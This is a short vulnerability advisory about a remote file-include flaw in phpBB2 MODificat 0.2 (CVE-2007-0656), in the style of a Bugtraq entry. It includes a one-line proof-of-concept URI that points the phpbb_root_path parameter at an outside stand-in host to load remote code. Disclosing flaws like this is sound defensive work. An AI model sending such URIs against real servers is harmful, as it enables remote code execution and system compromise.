PHPBB2 Modificat PHPBB_Root_Path Remote File Include Vulnerability

Bugtraq ID:	22320
Class:	Input Validation Error
CVE:	CVE-2007-0656
Remote:	Yes
Local:	No
Published:	Jan 30 2007 12:00AM
Updated:	May 12 2015 07:34PM
Credit:	xoron is credited with the discovery of this vulnerability.
Vulnerable:	phpBB2-MODificat phpBB2-MODificat 0.2
Not Vulnerable:

PHPBB2 Modificat PHPBB_Root_Path Remote File Include Vulnerability

phpBB2 MODificat is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects version 0.2.0; other versions may also be vulnerable.

PHPBB2 Modificat PHPBB_Root_Path Remote File Include Vulnerability

An attacker can exploit this issue via a web client.

The following proof-of-concept URI is available:

http://www.example.com/phpBB2-MODificat/includes/functions.php?phpbb_root_path=http://www.example2.com?

PHPBB2 Modificat PHPBB_Root_Path Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

PHPBB2 Modificat PHPBB_Root_Path Remote File Include Vulnerability

References:

• phpBB2-MODificat Product Page (phpBB2-MODificat)